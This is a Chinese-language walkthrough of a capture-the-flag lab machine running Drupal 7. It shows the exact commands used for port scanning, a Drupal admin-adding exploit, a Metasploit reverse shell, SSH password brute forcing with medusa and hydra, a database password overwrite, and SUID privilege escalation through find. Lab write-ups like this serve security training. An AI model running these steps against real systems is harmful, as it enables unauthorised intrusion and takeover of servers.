知识点总结
1.nmap扫描(端口、内核版本)
2.burp爆破密码
3.目录扫描
4.遍历目录
5.查看CMS,并利用历史漏洞
6.msf利用历史漏洞,反弹shell
7.内核提权
8.查看配置文件
9.更改数据库密码
10.medusa/hydra 爆破
11.suid提权
kali相关ssh密码爆破字典:/usr/share/john/password.lst
1.nmap扫描
nmap -A -p- 192.168.0.130
80、22、111、49414端口,大概内核版本
2.访问端口
访问80端口,要求登录
注意:千万别爆破,访问过多会被封IP,下述就是血的教训
猜测admin用户名,并尝试爆破,但是经过爆破发现有错误次数限制
IP被封!换方法,发现注册新用户,邮箱并没有收到密码的设置信息
3.目录扫描
都访问了个遍,结果发现Access denied,无权限!
4.发现使用了Drupal 7(CMS)
1.exploitdb使用
查找现成的payload
找到了一个添加管理员的一个payload.
把它拷问到我们当前目录
查看如何使用,创建用户abc/123456,因为之前IP被封了,我重新搭建了靶机IP也就改了
python2 34992.py -t http://192.168.0.131 -u abc -p 12345
试图执行PHP代码,失败
不行,看看ssh端口,也登录失败了
看看别的payload
但是在执行的时候,发现无法执行
2.msf调用payload反弹shell
利用msf试试,关于payload的选择我们就选,时间新一点的,并且rank为excellent的
等待连接,然后shell即可,python交互性shell:
python -c 'import pty;pty.spawn("/bin/bash")'
6.尝试内核提权(失败)
确认wget指令可用,试试内核提权
直接百度一下
直接下载到/var/www/html即可
然后开启apache服务
gcc 40839.c
chmod 777 40839.c
./40839.c
失败了
发现网站根目录下的flag1.txt,提示查看CMS的配置文件
7.查看配置文件
发现了
8.查看到数据库登录
mysql -udbuser -p
这个哈希解密,解不了,我们只好修改密码了
发现了加密算法文件,password-hash.sh
9.更新密码
update users set pass = '$S$DRX6M.nvrKxrvQvj4kef1/pbQR0FzL1paS4sStmNxlFhADzUxvRe' where name = 'admin';
10.登录后台
发现flag3
提示要我们使用find指令,perms
然后常规到家目录下看看 /home
找到flag4
使用同样方法找到root下的flag
同时我们还可以使用爆破来获取flag4
首先查看/etc/passwd
11.medusa/hydra 爆破ssh
使用medusa爆破一下ssh密码
medusa -M ssh -h 192.168.0.131 -u flag4 -P /usr/share/john/password.lst -e ns -F或者echo 'flag4'>admin.txt
hydra -L admin.txt -P /usr/share/john/password.lst 192.168.0.131 ssh
爆破成功!密码:orange
12.suid提权
根据flag3提示的,我们使用suid提权
suid是一中执行权限,我们对有可执行的二进制文件或者命令就可以赋予suid权限,当我们执行该二进制命令或文件,会以赋予该文件或命令suid权限的属主执行,而并非当前执行的用户。注:linux的所有物都是以文件的形式存在,相关的命令其实也是指向某个文件。
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
现在已知的具有SUID权限的二进制可执行文件大体有如下这些
nmap
vim
find
bash
more
less
nano
cp
awk
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
可以根据find的相关suid提权,进行提权
参考推文:简谈SUID提权 - FreeBuf网络安全行业门户
find提权其一
find -exec /bin/sh \;
成功提权!
最后拿到finalflag!